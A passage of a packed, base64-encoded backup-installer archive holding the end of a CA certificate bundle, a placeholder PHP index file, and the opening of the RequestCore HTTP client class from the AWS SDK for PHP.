ENFUlRJRklDQVRFLS0tLS0KTUlJRlZqQ0NCRDZnQXdJQkFnSVE3aXM5NjlRaDNoU29ZcXdFODkzRUFUQU5CZ2txaGtpRzl3MEJBUVVGQURDQjh6RUxNQWtHQTFVRQpCaE1DUlZNeE96QTVCZ05WQkFvVE1rRm5aVzVqYVdFZ1EyRjBZV3hoYm1FZ1pHVWdRMlZ5ZEdsbWFXTmhZMmx2SUNoT1NVWWdVUzB3Ck9EQXhNVGMyTFVrcE1TZ3dKZ1lEVlFRTEV4OVRaWEoyWldseklGQjFZbXhwWTNNZ1pHVWdRMlZ5ZEdsbWFXTmhZMmx2TVRVd013WUQKVlFRTEV5eFdaV2RsZFNCb2RIUndjem92TDNkM2R5NWpZWFJqWlhKMExtNWxkQzkyWlhKaGNuSmxiQ0FvWXlrd016RTFNRE1HQTFVRQpDeE1zU21WeVlYSnhkV2xoSUVWdWRHbDBZWFJ6SUdSbElFTmxjblJwWm1sallXTnBieUJEWVhSaGJHRnVaWE14RHpBTkJnTlZCQU1UCkJrVkRMVUZEUXpBZUZ3MHdNekF4TURjeU16QXdNREJhRncwek1UQXhNRGN5TWpVNU5UbGFNSUh6TVFzd0NRWURWUVFHRXdKRlV6RTcKTURrR0ExVUVDaE15UVdkbGJtTnBZU0JEWVhSaGJHRnVZU0JrWlNCRFpYSjBhV1pwWTJGamFXOGdLRTVKUmlCUkxUQTRNREV4TnpZdApTU2t4S0RBbUJnTlZCQXNUSDFObGNuWmxhWE1nVUhWaWJHbGpjeUJrWlNCRFpYSjBhV1pwWTJGamFXOHhOVEF6QmdOVkJBc1RMRlpsCloyVjFJR2gwZEhCek9pOHZkM2QzTG1OaGRHTmxjblF1Ym1WMEwzWmxjbUZ5Y21Wc0lDaGpLVEF6TVRVd013WURWUVFMRXl4S1pYSmgKY25GMWFXRWdSVzUwYVhSaGRITWdaR1VnUTJWeWRHbG1hV05oWTJsdklFTmhkR0ZzWVc1bGN6RVBNQTBHQTFVRUF4TUdSVU10UVVORApNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQXN5TEhUK0tYUXBXSVI0TkE5aDBYODROekpCNVI4NWlLCnc1SzQvMENRQlhDSFlNa0FxYldVWlJraUZSZkNRMnhtUkpvTkJENDViNlZMZXFwanQ0cEVuZGxqa1lSbTRDZ1B1a0xqYm83M0ZDZVQKYWU2UkRxTmZEckhyWnFKeVR4SVRobVY2UHR0UEIvU25DV0RhT2tLWng3Si9zeGFWSE1mNU5MV1VoZFdaWHFCSW9IN25GMlc0b25XNApIdlBsUW4ydjdmT0tTR1JkZ2hTVDJNRGsvN05RY3ZKMjlyTmRRbEI1MEpRK2F3d0F2dGhyRGs0cTdEN1N6SUtpR0dVekUzZWVtbDBhCkU5akQyejNJbDNydWNPMm41bnpiY2M4dGxHTGZiZGIxT0w0L3BZVUtHYmlvMkFsMVFuREU2dS9MRHNnMHFCSWltQXk0RTVTMlMrencKMEpEbkp3SURBUUFCbzRIak1JSGdNQjBHQTFVZEVRUVdNQlNCRW1WalgyRmpZMEJqWVhSalpYSjBMbTVsZERBUEJnTlZIUk1CQWY4RQpCVEFEQVFIL01BNEdBMVVkRHdFQi93UUVBd0lCQmpBZEJnTlZIUTRFRmdRVW9NT0xSS28zcFVXL2w0QmEwZkY0b3B2cFhZMHdmd1lEClZSMGdCSGd3ZGpCMEJnc3JCZ0VFQWZWNEFRTUJDakJsTUN3R0NDc0dBUVVGQndJQkZpQm9kSFJ3Y3pvdkwzZDNkeTVqWVhSalpYSjAKTG01bGRDOTJaWEpoY25KbGJEQTFCZ2dyQmdFRkJRY0NBakFwR2lkV1pXZGxkU0JvZEhSd2N6b3ZMM2QzZHk1allYUmpaWEowTG01bApkQzkyWlhKaGNuSmxiQ0F3RFFZSktvWklodmNOQVFFRkJRQURnZ0VCQUtCSVc0SUI5azFJdURsVk5aeUFlbE9aMVZyL3NYRTd6RGtKCmxGN1cydSsrQVZ0ZDB4N1kvWDFQemFCQjREU1R2OHZpaHB3M2twQldITnpyS1FYbHhKN0hOZCtLRE0zRklVUHBxb2psTmNBWlFtTmEKQWw2a1NCZzZoVy9jbmJ3L25aekJoN2g2WVFqcGR3dC9jS3Q2M2RtWExHUWVoYis4ZEphaHczb1M3QXdhYm9NTVBPaHlScC83U05WZQpsK2F4b2ZqazcwWWxsSnlKMjJrNHZ1eGNEbGJIWlZIbFVJaUl2MExWS3ozbCticWVMclBLOUhPU0FndStUR2JySVA2NXk3V1pmK2EyCkUvcktTMDNaN2xOR0JqdkdUcTJUV29GK2JDcExhZ1ZGalBJaHBER1FoMnhsbkoybFlKVTZVbi8xMGFzSWJ2UHVXL21JUFg2NGIyNEQKNUVJPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCgpIZWxsZW5pYyBBY2FkZW1pYyBhbmQgUmVzZWFyY2ggSW5zdGl0dXRpb25zIFJvb3RDQSAyMDExCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUVNVENDQXhtZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRVUZBRENCbFRFTE1Ba0dBMVVFQmhNQ1IxSXhSREJDQmdOVkJBb1QKTzBobGJHeGxibWxqSUVGallXUmxiV2xqSUdGdVpDQlNaWE5sWVhKamFDQkpibk4wYVhSMWRHbHZibk1nUTJWeWRDNGdRWFYwYUc5eQphWFI1TVVBd1BnWURWUVFERXpkSVpXeHNaVzVwWXlCQlkyRmtaVzFwWXlCaGJtUWdVbVZ6WldGeVkyZ2dTVzV6ZEdsMGRYUnBiMjV6CklGSnZiM1JEUVNBeU1ERXhNQjRYRFRFeE1USXdOakV6TkRrMU1sb1hEVE14TVRJd01URXpORGsxTWxvd2daVXhDekFKQmdOVkJBWVQKQWtkU01VUXdRZ1lEVlFRS0V6dElaV3hzWlc1cFl5QkJZMkZrWlcxcFl5QmhibVFnVW1WelpXRnlZMmdnU1c1emRHbDBkWFJwYjI1egpJRU5sY25RdUlFRjFkR2h2Y21sMGVURkFNRDRHQTFVRUF4TTNTR1ZzYkdWdWFXTWdRV05oWkdWdGFXTWdZVzVrSUZKbGMyVmhjbU5vCklFbHVjM1JwZEhWMGFXOXVjeUJTYjI5MFEwRWdNakF4TVRDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUIKQUtsVEFPTXVwdmFPK21EWUxaVSsrQ3dxVkU3TnVZUmhsRmhQanoyTDVFUHpkWW1OVWVURE45S0tpRTE1SHJjUzNVTjRTb3FTNXRkSQoxUStrT2lsRU5iZ0g5bWdkVmMwNFVmQ01KREdGcjRQSmZlbDNyKzBhZTUwWCtiT2RPRkFQcGxwNWtZQ3ZONjZtMHpIN3RTWUpuVHhhCjcxSEZLOStXWGVzeUhnTGFjRW5zYmd6SW1qZU45L0UyWUVzbUxJS2UwSGp6RFE5anBGRXc0ZmtySnhJSDJPcTlHR0tZc0ZrM2ZiN3UKOHlCUlFscUQ3NU82YVJYeFlwMmZtVG1Db2JkMExvdlV4UXQ3TC9ESUN0bzllUXFha3h5bEtISnprVU9hcDlGTmhZUzVxWFNQRkVESAozTjZzUVdSc3RCbWJBbU50SkdTUFJMSWw2czVkZEF4ak1seU5oK1VDQXdFQUFhT0JpVENCaGpBUEJnTlZIUk1CQWY4RUJUQURBUUgvCk1Bc0dBMVVkRHdRRUF3SUJCakFkQmdOVkhRNEVGZ1FVcHBGQy9STmhTaU9lQ0tRcDVkZ1RCQ1B1UVNVd1J3WURWUjBlQkVBd1BxQTgKTUFXQ0F5NW5jakFGZ2dNdVpYVXdCb0lFTG1Wa2RUQUdnZ1F1YjNKbk1BV0JBeTVuY2pBRmdRTXVaWFV3Qm9FRUxtVmtkVEFHZ1FRdQpiM0puTUEwR0NTcUdTSWIzRFFFQkJRVUFBNElCQVFBZjczbEI0WHR1UDdLTWhqZENTazRjTng2Tlpyb2tnY2xQRWc4aHdBT1hoaVZ0ClhkTWlLYWhzb2cycDZ6MEdXNWs2eDh6RG1qUi9xdzdJVGh6aCt1VGN6UTIrdnlUK2JPZHJ3ZzNJQnA1T2pXRW9wbXI5NWZaaTZoZzgKVHFCVG5iSTZuT3VsbkpFV3RrMkM0QXdGU0tsczljejR5NTFKdFBBQ3BmMXdBKzJLSWFXdUU0Wkp3ek56dm9jN2RJc1hSU1pNRnBHRAovbWQ5elUxalovcnpBeEtXZUFhTnNXZnRqaisrbjA4QzliTUpML05NaDk4cXk1VjhBY3lzTm5xL29uTjY5NC9CdFpxaEZMS1BNNThOCjd5TGNabnVFdlVVWEJqMDh5cmwzTkkvSzZzOC9NVDdqaU9PQVNTWElsN1dkbXBsTnNEejRTZ0NiWk4yZk9VdlJKOWU0Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
###PACKDATA,FILE_END,/destinations/_s3lib/aws-sdk/lib/requestcore/cacert.pem,importbuddy/lib/requestcore/cacert.pem
###PACKDATA,FILE_START,/destinations/_s3lib/aws-sdk/lib/requestcore/index.php,importbuddy/lib/requestcore/index.php
PD9waHAgLy8gU2lsZW5jZSBpcyBnb2xkZW4u
###PACKDATA,FILE_END,/destinations/_s3lib/aws-sdk/lib/requestcore/index.php,importbuddy/lib/requestcore/index.php
###PACKDATA,FILE_START,/destinations/_s3lib/aws-sdk/lib/requestcore/requestcore.class.php,importbuddy/lib/requestcore/requestcore.class.php
PD9waHAKLyoqCiAqIEhhbmRsZXMgYWxsIEhUVFAgcmVxdWVzdHMgdXNpbmcgY1VSTCBhbmQgbWFuYWdlcyB0aGUgcmVzcG9uc2VzLgogKgogKiBAdmVyc2lvbiAyMDEyLjAxLjE3CiAqIEBjb3B5cmlnaHQgMjAwNi0yMDExIFJ5YW4gUGFybWFuCiAqIEBjb3B5cmlnaHQgMjAwNi0yMDEwIEZvbGVlbyBJbmMuCiAqIEBjb3B5cmlnaHQgMjAxMC0yMDExIEFtYXpvbi5jb20sIEluYy4gb3IgaXRzIGFmZmlsaWF0ZXMuCiAqIEBjb3B5cmlnaHQgMjAwOC0yMDExIENvbnRyaWJ1dG9ycwogKiBAbGljZW5zZSBodHRwOi8vb3BlbnNvdXJjZS5vcmcvbGljZW5zZXMvYnNkLWxpY2Vuc2UucGhwIFNpbXBsaWZpZWQgQlNEIExpY2Vuc2UKICovCmNsYXNzIFJlcXVlc3RDb3JlCnsKCS8qKgoJICogVGhlIFVSTCBiZWluZyByZXF1ZXN0ZWQuCgkgKi8KCXB1YmxpYyAkcmVxdWVzdF91cmw7CgoJLyoqCgkgKiBUaGUgaGVhZGVycyBiZWluZyBzZW50IGluIHRoZSByZXF1ZXN0LgoJICovCglwdWJsaWMgJHJlcXVlc3RfaGVhZGVyczsKCgkvKioKCSAqIFRoZSBib2R5IGJlaW5nIHNlbnQgaW4gdGhlIHJlcXVlc3QuCgkgKi8KCXB1YmxpYyAkcmVxdWVzdF9ib2R5OwoKCS8qKgoJICogVGhlIHJlc3BvbnNlIHJldHVybmVkIGJ5IHRoZSByZXF1ZXN0LgoJICovCglwdWJsaWMgJHJlc3BvbnNlOwoKCS8qKgoJICogVGhlIGhlYWRlcnMgcmV0dXJuZWQgYnkgdGhlIHJlcXVlc3QuCgkgKi8KCXB1YmxpYyAkcmVzcG9uc2VfaGVhZGVyczsKCgkvKioKCSAqIFRoZSBib2R5IHJldHVybmVkIGJ5IHRoZSByZXF1ZXN0LgoJICovCglwdWJsaWMgJHJlc3BvbnNlX2JvZHk7CgoJLyoqCgkgKiBUaGUgSFRUUCBzdGF0dXMgY29kZSByZXR1cm5lZCBieSB0aGUgcmVxdWVzdC4KCSAqLwoJcHVibGljICRyZXNwb25zZV9jb2RlOwoKCS8qKgoJICogQWRkaXRpb25hbCByZXNwb25zZSBkYXRhLgoJICovCglwdWJsaWMgJHJlc3BvbnNlX2luZm87CgoJLyoqCgkgKiBUaGUgaGFuZGxlIGZvciB0aGUgY1VSTCBvYmplY3QuCgkgKi8KCXB1YmxpYyAkY3VybF9oYW5kbGU7CgoJLyoqCgkgKiBUaGUgbWV0aG9kIGJ5IHdoaWNoIHRoZSByZXF1ZXN0IGlzIGJlaW5nIG1hZGUuCgkgKi8KCXB1YmxpYyAkbWV0aG9kOwoKCS8qKgoJICogU3RvcmVzIHRoZSBwcm94eSBzZXR0aW5ncyB0byB1c2UgZm9yIHRoZSByZXF1ZXN0LgoJICovCglwdWJsaWMgJHByb3h5ID0gbnVsbDsKCgkvKioKCSAqIFRoZSB1c2VybmFtZSB0byB1c2UgZm9yIHRoZSByZXF1ZXN0LgoJICovCglwdWJsaWMgJHVzZXJuYW1lID0gbnVsbDsKCgkvKioKCSAqIFRoZSBwYXNzd29yZCB0byB1c2UgZm9yIHRoZSByZXF1ZXN0LgoJICovCglwdWJsaWMgJHBhc3N3b3JkID0gbnVsbDsKCgkvKioKCSAqIEN1c3RvbSBDVVJMT1BUIHNldHRpbmdzLgoJICovCglwdWJsaWMgJGN1cmxvcHRzID0gbnVsbDsKCgkvKioKCSAqIFRoZSBzdGF0ZSBvZiBkZWJ1ZyBtb2RlLgoJICovCglwdWJsaWMgJGRlYnVnX21vZGUgPSBmYWxzZTsKCgkvKioKCSAqIFRoZSBkZWZhdWx0IGNsYXNzIHRvIHVzZSBmb3IgSFRUUCBSZXF1ZXN0cyAoZGVmYXVsdHMgdG8gPFJlcXVlc3RDb3JlPikuCgkgKi8KCXB1YmxpYyAkcmVxdWVzdF9jbGFzcyA9ICdSZXF1ZXN0Q29yZSc7CgoJLyoqCgkgKiBUaGUgZGVmYXVsdCBjbGFzcyB0byB1c2UgZm9yIEhUVFAgUmVzcG9uc2VzIChkZWZhdWx0cyB0byA8UmVzcG9uc2VDb3JlPikuCgkgKi8KCXB1YmxpYyAkcmVzcG9uc2VfY2xhc3MgPSAnUmVzcG9uc2VDb3JlJzsKCgkvKioKCSAqIERlZmF1bHQgdXNlcmFnZW50IHN0cmluZyB0byB1c2UuCgkgKi8KCXB1YmxpYyAkdXNlcmFnZW50ID0gJ1JlcXVlc3RDb3JlLzEuNC40JzsKCgkvKioKCSAqIEZpbGUgdG8gcmVhZCBmcm9tIHdoaWxlIHN0cmVhbWluZyB1cC4KCSAqLwoJcHVibGljICRyZWFkX2ZpbGUgPSBudWxsOwoKCS8qKgoJICogVGhlIHJlc291cmNlIHRvIHJlYWQgZnJvbSB3aGlsZSBzdHJlYW1pbmcgdXAuCgkgKi8KCXB1YmxpYyAkcmVhZF9zdHJlYW0gPSBudWxsOwoKCS8qKgoJICogVGhlIHNpemUgb2YgdGhlIHN0cmVhbSB0byByZWFkIGZyb20uCgkgKi8KCXB1YmxpYyAkcmVhZF9zdHJlYW1fc2l6ZSA9IG51bGw7CgoJLyoqCgkgKiBUaGUgbGVuZ3RoIGFscmVhZHkgcmVhZCBmcm9tIHRoZSBzdHJlYW0uCgkgKi8KCXB1YmxpYyAkcmVhZF9zdHJlYW1fcmVhZCA9IDA7CgoJLyoqCgkgKiBGaWxlIHRvIHdyaXRlIHRvIHdoaWxlIHN0cmVhbWluZyBkb3duLgoJICovCglwdWJsaWMgJHdyaXRlX2ZpbGUgPSBudWxsOwoKCS8qKgoJICogVGhlIHJlc291cmNlIHRvIHdyaXRlIHRvIHdoaWxlIHN0cmVhbWluZyBkb3duLgoJICovCglwdWJsaWMgJHdyaXRlX3N0cmVhbSA9IG51bGw7CgoJLyoqCgkgKiBTdG9yZXMgdGhlIGludGVuZGVkIHN0YXJ0aW5nIHNlZWsgcG9zaXRpb24uCgkgKi8KCXB1YmxpYyAkc2Vla19wb3NpdGlvbiA9IG51bGw7CgoJLyoqCgkgKiBUaGUgbG9jYXRpb24gb2YgdGhlIGNhY2VydC5wZW0gZmlsZSB0byB1c2UuCgkgKi8KCXB1YmxpYyAkY2FjZXJ0X2xvY2F0aW9uID0gZmFsc2U7CgoJLyoqCgkgKiBUaGUgc3RhdGUgb2YgU1NMIGNlcnRpZmljYXRlIHZlcmlmaWNhdGlvbi4KCSAqLwoJcHVibGljICRzc2xfdmVyaWZpY2F0aW9uID0gdHJ1ZTsKCgkvKioKCSAqIFRoZSB1c2VyLWRlZmluZWQgY2FsbGJhY2sgZnVuY3Rpb24gdG8gY2FsbCB3aGVuIGEgc3RyZWFtIGlzIHJlYWQgZnJvbS4KCSAqLwoJcHVibGljICRyZWdpc3RlcmVkX3N0cmVhbWluZ19yZWFkX2NhbGxiYWNrID0gbnVsbDsKCgkvKioKCSAqIFRoZSB1c2VyLWRlZmluZWQgY2FsbGJhY2sgZnVuY3Rpb24gdG8gY2FsbCB3aGVuIGEgc3RyZWFtIGlzIHdyaXR0ZW4gdG8uCgkgKi8KCXB1YmxpYyAkcmVnaXN0ZXJlZF9zdHJlYW1pbmdfd3JpdGVfY2FsbGJhY2sgPSBudWxsOwoKCS8qKgoJICogV2hldGhlciBvciBub3QgdGhlIHNldF90aW1lX2xpbWl0IGZ1bmN0aW9uIHNob3VsZCBiZSBjYWxsZWQuCgkgKi8KCXB1YmxpYyAkYWxsb3dfc2V0X3RpbWVfbGltaXQgPSB0cnVlOwoKCS8qKgoJICogV2hldGhlciBvciBub3QgdG8gdXNlIGd6aXAgZW5jb2RpbmcgdmlhIENVUkxPUFRfRU5DT0RJTkcKCSAqLwoJcHVibGljICR1c2VfZ3ppcF9lbmNvbmRpbmcgPSB0cnVlOwoKCgkvKiUqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiolKi8KCS8vIENPTlNUQU5UUwoKCS8qKgoJICogR0VUIEhUVFAgTWV0aG9kCgkgKi8KCWNvbnN0IEhUVFBfR0VUID0gJ0dFVCc7CgoJLyoqCgkgKiBQT1NUIEhUVFAgTWV0aG9kCgkgKi8KCWNvbnN0IEhUVFBfUE9TVCA9ICdQT1NUJzsKCgkvKioKCSAqIFBVVCBIVFRQIE1ldGhvZAoJICovCgljb25zdCBIVFRQX1BVVCA9ICdQVVQnOwoKCS8qKgoJICogREVMRVRFIEhUVFAgTWV0aG9kCgkgKi8KCWNvbnN0IEhUVFBfREVMRVRFID0gJ0RFTEVURSc7CgoJLyoqCgkgKiBIRUFEIEhUVFAgTWV0aG9kCgkgKi8KCWNvbnN0IEhUVFBfSEVBRCA9ICdIRUFEJzsKCgoJLyolKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqJSovCgkvLyBDT05TVFJVQ1RPUi9ERVNUUlVDVE9SCgoJLyoqCgkgKiBDb25zdHJ1Y3RzIGEgbmV3IGluc3RhbmNlIG9mIHRoaXMgY2xhc3MuCgkgKgoJICogQHBhcmFtIHN0cmluZyAkdXJsIChPcHRpb25hbCkgVGhlIFVSTCB0byByZXF1ZXN0IG9yIHNlcnZpY2UgZW5kcG9pbnQgdG8gcXVlcnkuCgkgKiBAcGFyYW0gc3RyaW5nICRwcm94eSAoT3B0aW9uYWwpIFRoZSBmYXV4LXVybCB0byB1c2UgZm9yIHByb3h5IHNldHRpbmdzLiBUYWtlcyB0aGUgZm9sbG93aW5nIGZvcm1hdDogYHByb3h5Oi8vdXNlcjpwYXNzQGhvc3RuYW1lOnBvcnRgCgkgKiBAcGFyYW0gYXJyYXkgJGhlbHBlcnMgKE9wdGlvbmFsKSBBbiBhc3NvY2lhdGl2ZSBhcnJheSBvZiBjbGFzc25hbWVzIHRvIHVzZSBmb3IgcmVxdWVzdCwgYW5kIHJlc3BvbnNlIGZ1bmN0aW9uYWxpdHkuIEdldHMgcGFzc2VkIGluIGF1dG9tYXRpY2FsbHkgYnkgdGhlIGNhbGxpbmcgY2xhc3MuCgkgKiBAcmV0dXJuICR0aGlzIEEgcmVmZXJlbmNlIHRvIHRoZSBjdXJyZW50IGluc3RhbmNlLgoJICovCglwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHVybCA9IG51bGwsICRwcm94eSA9IG51bGwsICRoZWxwZXJzID0gbnVsbCkKCXsKCQkvLyBTZXQgc29tZSBkZWZhdWx0IHZhbHVlcy4KCQkkdGhpcy0+cmVxdWVzdF91cmwgPSAkdXJsOwoJCSR0aGlzLT5tZXRob2QgPSBzZWxmOjpIVFRQX0dFVDsKCQkkdGhpcy0+cmVxdWVzdF9oZWFkZXJzID0gYXJyYXkoKTsKCQkkdGhpcy0+cmVxdWVzdF9ib2R5ID0gJyc7CgoJCS8vIERldGVybWluZSBpZiBzZXRfdGltZV9saW1pdCBjYW4gYmUgY2FsbGVkCgkJaWYgKHN0cnBvcyhpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpLCAnc2V0X3RpbWVfbGltaXQnKSAhPT0gZmFsc2UpCgkJewoJCQkkdGhpcy0+YWxsb3dfc2V0X3RpbWVfbGltaXQgPSBmYWxzZTsKCQl9CgoJCS8vIFNldCBhIG5ldyBSZXF1ZXN0IGNsYXNzIGlmIG9uZSB3YXMgc2V0LgoJCWlmIChpc3NldCgkaGVscGVyc1sncmVxdWVzdCddKSAmJiAhZW1wdHkoJGhlbHBlcnNbJ3JlcXVlc3QnXSkpCgkJewoJCQkkdGhpcy0+cmVxdWVzdF9jbGFzcyA9ICRoZWxwZXJzWydyZXF1ZXN0J107CgkJfQoKCQkvLyBTZXQgYSBuZXcgUmVxdWVzdCBjbGFzcyBpZiBvbmUgd2FzIHNldC4KCQlpZiAoaXNzZXQoJGhlbHBlcnNbJ3Jlc3BvbnNlJ10pICYmICFlbXB0eSgkaGVscGVyc1sncmVzcG9uc2UnXSkpCgkJewoJCQkkdGhpcy0+cmVzcG9uc2VfY2xhc3MgPSAkaGVscGVyc1sncmVzcG9uc2UnXTsKCQl9CgoJCWlmICgkcHJveHkpCgkJewoJCQkkdGhpcy0+c2V0X3Byb3h5KCRwcm94eSk7CgkJfQoKCQlyZXR1cm4gJHRoaXM7Cgl9CgoJLyoqCgkgKiBEZXN0cnVjdHMgdGhlIGluc3RhbmNlLiBDbG9zZXMgb3BlbmVkIGZpbGUgaGFuZGxlcy4KCSAqCgkgKiBAcmV0dXJuICR0aGlzIEEgcmVmZXJlbmNlIHRvIHRoZSBjdXJyZW50IGluc3RhbmNlLgoJICovCglwdWJsaWMgZnVuY3Rpb24gX19kZXN0cnVjdCgpCgl7CgkJaWYgKGlzc2V0KCR0aGlzLT5yZWFkX2ZpbGUpICYmIGlzc2V0KCR0aGlzLT5yZWFkX3N0cmVhbSkpCgkJewoJCQlmY2xvc2UoJHRoaXMtPnJlYWRfc3RyZWFtKTsKCQl9CgoJCWlmIChpc3NldCgkdGhpcy0+d3JpdGVfZmlsZSkgJiYgaXNzZXQoJHRoaXMtPndyaXRlX3N0cmVhbSkpCgkJewoJCQlmY2xvc2UoJHRoaXMtPndyaXRlX3N0cmVhbSk7CgkJfQoKCQlyZXR1cm4gJHRoaXM7Cgl9CgoKCS8qJSoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiUqLwoJLy8gUkVRVUVTVCBNRVRIT0RTCgoJLyoqCgkgKiBTZXRzIHRoZSBjcmVkZW50aWFscyB0byB1c2UgZm9yIGF1dGhlbnRpY2F0aW9uLgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJHVzZXIgKFJlcXVpcmVkKSBUaGUgdXNlcm5hbWUgdG8gYXV0aGVudGljYXRlIHdpdGguCgkgKiBAcGFyYW0gc3RyaW5nICRwYXNzIChSZXF1aXJlZCkgVGhlIHBhc3N3b3JkIHRvIGF1dGhlbnRpY2F0ZSB3aXRoLgoJICogQHJldHVybiAkdGhpcyBBIHJlZmVyZW5jZSB0byB0aGUgY3VycmVudCBpbnN0YW5jZS4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIHNldF9jcmVkZW50aWFscygkdXNlciwgJHBhc3MpCgl7CgkJJHRoaXMtPnVzZXJuYW1lID0gJHVzZXI7CgkJJHRoaXMtPnBhc3N3b3JkID0gJHBhc3M7CgkJcmV0dXJuICR0aGlzOwoJfQoKCS8qKgoJICogQWRkcyBhIGN1c3RvbSBIVFRQIGhlYWRlciB0byB0aGUgY1VSTCByZXF1ZXN0LgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJGtleSAoUmVxdWlyZWQpIFRoZSBjdXN0b20gSFRUUCBoZWFkZXIgdG8gc2V0LgoJICogQHBhcmFtIG1peGVkICR2YWx1ZSAoUmVxdWlyZWQpIFRoZSB2YWx1ZSB0byBhc3NpZ24gdG8gdGhlIGN1c3RvbSBIVFRQIGhlYWRlci4KCSAqIEByZXR1cm4gJHRoaXMgQSByZWZlcmVuY2UgdG8gdGhlIGN1cnJlbnQgaW5zdGFuY2UuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBhZGRfaGVhZGVyKCRrZXksICR2YWx1ZSkKCXsKCQkkdGhpcy0+cmVxdWVzdF9oZWFkZXJzWyRrZXldID0gJHZhbHVlOwoJCXJldHVybiAkdGhpczsKCX0KCgkvKioKCSAqIFJlbW92ZXMgYW4gSFRUUCBoZWFkZXIgZnJvbSB0aGUgY1VSTCByZXF1ZXN0LgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJGtleSAoUmVxdWlyZWQpIFRoZSBjdXN0b20gSFRUUCBoZWFkZXIgdG8gc2V0LgoJICogQHJldHVybiAkdGhpcyBBIHJlZmVyZW5jZSB0byB0aGUgY3VycmVudCBpbnN0YW5jZS4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIHJlbW92ZV9oZWFkZXIoJGtleSkKCXsKCQlpZiAoaXNzZXQoJHRoaXMtPnJlcXVlc3RfaGVhZGVyc1ska2V5XSkpCgkJewoJCQl1bnNldCgkdGhpcy0+cmVxdWVzdF9oZWFkZXJzWyRrZXldKTsKCQl9CgkJcmV0dXJuICR0aGlzOwoJfQoKCS8qKgoJICogU2V0IHRoZSBtZXRob2QgdHlwZSBmb3IgdGhlIHJlcXVlc3QuCgkgKgoJICogQHBhcmFtIHN0cmluZyAkbWV0aG9kIChSZXF1aXJlZCkgT25lIG9mIHRoZSBmb2xsb3dpbmcgY29uc3RhbnRzOiA8SFRUUF9HRVQ+LCA8SFRUUF9QT1NUPiwgPEhUVFBfUFVUPiwgPEhUVFBfSEVBRD4sIDxIVFRQX0RFTEVURT4uCgkgKiBAcmV0dXJuICR0aGlzIEEgcmVmZXJlbmNlIHRvIHRoZSBjdXJyZW50IGluc3RhbmNlLgoJICovCglwdWJsaWMgZnVuY3Rpb24gc2V0X21ldGhvZCgkbWV0aG9kKQoJewoJCSR0aGlzLT5tZXRob2QgPSBzdHJ0b3VwcGVyKCRtZXRob2QpOwoJCXJldHVybiAkdGhpczsKCX0KCgkvKioKCSAqIFNldHMgYSBjdXN0b20gdXNlcmFnZW50IHN0cmluZyBmb3IgdGhlIGNsYXNzLgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJHVhIChSZXF1aXJlZCkgVGhlIHVzZXJhZ2VudCBzdHJpbmcgdG8gdXNlLgoJICogQHJldHVybiAkdGhpcyBBIHJlZmVyZW5jZSB0byB0aGUgY3VycmVudCBpbnN0YW5jZS4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIHNldF91c2VyYWdlbnQoJHVhKQoJewoJCSR0aGlzLT51c2VyYWdlbnQgPSAkdWE7CgkJcmV0dXJuICR0aGlzOwoJfQoKCS8qKgoJICogU2V0IHRoZSBib2R5IHRvIHNlbmQgaW4gdGhlIHJlcXVlc3QuCgkgKgoJICogQHBhcmFtIHN0cmluZyAkYm9keSAoUmVxdWlyZWQpIFRoZSB0ZXh0dWFsIGNvbnRlbnQgdG8gc2VuZCBhbG9uZyBpbiB0aGUgYm9keSBvZiB0aGUgcmVxdWVzdC4KCSAqIEByZXR1cm4gJHRoaXMgQSByZWZlcmVuY2UgdG8gdGhlIGN1cnJlbnQgaW5zdGFuY2UuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBzZXRfYm9keSgkYm9keSkKCXsKCQkkdGhpcy0+cmVxdWVzdF9ib2R5ID0gJGJvZHk7CgkJcmV0dXJuICR0aGlzOwoJfQoKCS8qKgoJICogU2V0IHRoZSBVUkwgdG8gbWFrZSB0aGUgcmVxdWVzdCB0by4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICR1cmwgKFJlcXVpcmVkKSBUaGUgVVJMIHRvIG1ha2UgdGhlIHJlcXVlc3QgdG8uCgkgKiBAcmV0dXJuICR0aGlzIEEgcmVmZXJlbmNlIHRvIHRoZSBjdXJyZW50IGluc3RhbmNlLgoJICovCglwdWJsaWMgZnVuY3Rpb24gc2V0X3JlcXVlc3RfdXJsKCR1cmwpCgl7CgkJJHRoaXMtPnJlcXVlc3RfdXJsID0gJHVybDsKCQlyZXR1cm4gJHRoaXM7Cgl9CgoJLyoqCgkgKiBTZXQgYWRkaXRpb25hbCBDVVJMT1BUIHNldHRpbmdzLiBUaGVzZSB3aWxsIG1lcmdlIHdpdGggdGhlIGRlZmF1bHQgc2V0dGluZ3MsIGFuZCBvdmVycmlkZSBpZgoJICogdGhlcmUgaXMgYSBkdXBsaWNhdGUuCgkgKgoJICogQHBhcmFtIGFycmF5ICRjdXJsb3B0cyAoT3B0aW9uYWwpIEEgc2V0IG9mIGtleS12YWx1ZSBwYWlycyB0aGF0IHNldCBgQ1VSTE9QVGAgb3B0aW9ucy4gVGhlc2Ugd2lsbCBtZX